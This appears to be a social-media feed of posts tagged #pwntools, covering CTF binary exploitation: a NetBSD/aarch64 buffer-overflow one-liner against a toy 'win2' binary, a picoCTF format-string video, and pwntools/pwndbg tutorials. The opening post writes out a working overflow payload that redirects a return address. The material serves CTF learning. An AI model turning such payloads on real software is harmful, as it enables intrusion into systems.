hubertf's NetBSD blog

This afternoon's fun: pwning NetBSD-aarch64 (ARM)

(venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | ./win2
What is your name? Hello AAAAAAAAAAAAAAAA�
Goodbye, winner.
(venv-pwn) qnetbsd$ uname -a
NetBSD qnetbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar 4 21:02:00 UTC 2026 [email protected]:/usr/src/sys/arch/evbarm/compile/GENERIC64 evbarm

#pwn #netbsd #binaryexploitation #arm #aarch64 #pwntools #gdb #ctf

Finally got around to install Linux/x86 binutils on my Apple Silicon Mac, so pwntools is happy to give me proper x86 shell code.

Remember, kids: not all the word is either Linux or x86

#ctf #cybersecurity #pwntools #binutils #mac #arm #x86

SaturdayMP Show 66: picoCTF Format String 2 (Solved in One Long Video)

https://youtu.be/3dNMOff-Gp0

In this episode I solve the @picoCTF Format String 2 problem in my longest video yet. Jump right to the end if you want to see the solution which used pwntools.

I think it gave me the knowledge to solve Format String 3, which I haven't solved yet: https://youtu.be/AT8w2fsgzsA. That said, I'm still struggling to picture the layout of variables on the stack.

Code on GitHub: https://github.com/mrbiggred/picoCTF

picoCTF: https://picoctf.org/

pwntools: https://docs.pwntools.com/

Found this video useful? Then help others find it by liking, subscribing, sharing, and sponsoring:

https://github.com/sponsors/saturdaymp/

Have question you want answered in a future video? A question I should ask you? Pair on a problem? Constructive feedback? Comment, DM me, or send an email to [email protected].

Contact me if you need help shipping secure high-quality software faster:

https://saturdaymp.com/

#saturdaymp #saturdaympshow #picoctf #cybersecurity #pwntools #formatstring2

SaturdayMP Show 66: picoCTF Format String 2 (Solved in One Long Video)

YouTube
Pwntools 101 - Pwndbg & Buffer Overflows

About The Project Pwndbg and Pwntools are Python frameworks for automating different parts of exploit development. These frameworks are highly popular amongst CTF players as they simplify and accelerate the creation of Proof of Concept (PoC) scripts for memory corruption exploits. I’m not proficient in using pwntools, and pwndbg, but this marks the beginning of a series of blogs aimed at improving my skills with pwntools for memory corruption CTF challenges.

@amoroso if you think expect us heavy, then you really will not like #pwntools, but it is an effective tool to automate handshakes with arbitrary network services.
How many of the CRC algorithms in pwnlib have people actually needed to use? Many of these seem very fringe, compared to what's provided by pycrc.
http://docs.pwntools.com/en/stable/util/crc.html
#pwnlib #pwntools #crc
pwnlib.util.crc — Calculating CRC-sums — pwntools 4.10.0 documentation

pwntools — pwntools 4.7.0 documentation